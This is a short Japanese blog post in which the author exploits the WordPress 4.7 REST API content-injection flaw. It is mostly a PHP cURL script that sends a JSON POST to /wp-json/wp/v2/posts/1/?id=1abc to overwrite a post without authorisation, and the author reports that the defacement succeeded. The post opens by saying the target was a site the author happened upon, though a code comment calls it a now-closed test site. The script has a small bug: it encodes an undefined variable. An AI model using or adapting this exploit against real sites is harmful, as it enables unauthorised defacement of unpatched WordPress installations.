WordPress4.7 脆弱性をつついて本当に改竄できるか検証してみる(権限昇格不具合)

たまたま出会ったサイトがWordpress4.7で、昔なんか大規模な脆弱性あったよなって思い出したので、試してみた。
細かい概要は省略します。
詳しく知りたい方は、下記サイトをご参考頂くと良いかと思います。

結論

はい。改竄できました。
今回はPHPから対象のREST APIへjson形式のデータを送信することで改竄できました。

実際書いたコード


// サンプルデータ(コンテンツをtestに書き換える)
$sampleData = array("content" => "test");

// 対象のサイト(※もうテストサイト自体は閉じてます。)
$target = "https://todosan.jp/4.7/";

// 対象の記事ID
$postsID = 1;

// 送信データはjson形式に変換。
$jsonSample = json_encode($data);

// curl関数で送信するための準備
$ch = curl_init();

//テストサイトはBasic認証していたため。
//認証してないなら記述不要です。
$user = "basicuser";
$pass = "basicpass";
curl_setopt($ch, CURLOPT_USERPWD, $user . ":" . $pass);

// 送信処理
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonSample);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $target.'/wp-json/wp/v2/posts/'.$postsID.'/?id='.$postsID.'abc');
$result = curl_exec($ch);

curl_close($ch);

感想

こんなに簡単に改竄できるとは思わんかった。
そりゃ150万サイトも改竄されるわけですよね。
てか未だに古いサイトありそうだし、XSS(クロスサイトスクリプティング)とか不正に利用されてるサイトありそう。

シェアする

  • このエントリーをはてなブックマークに追加

フォローする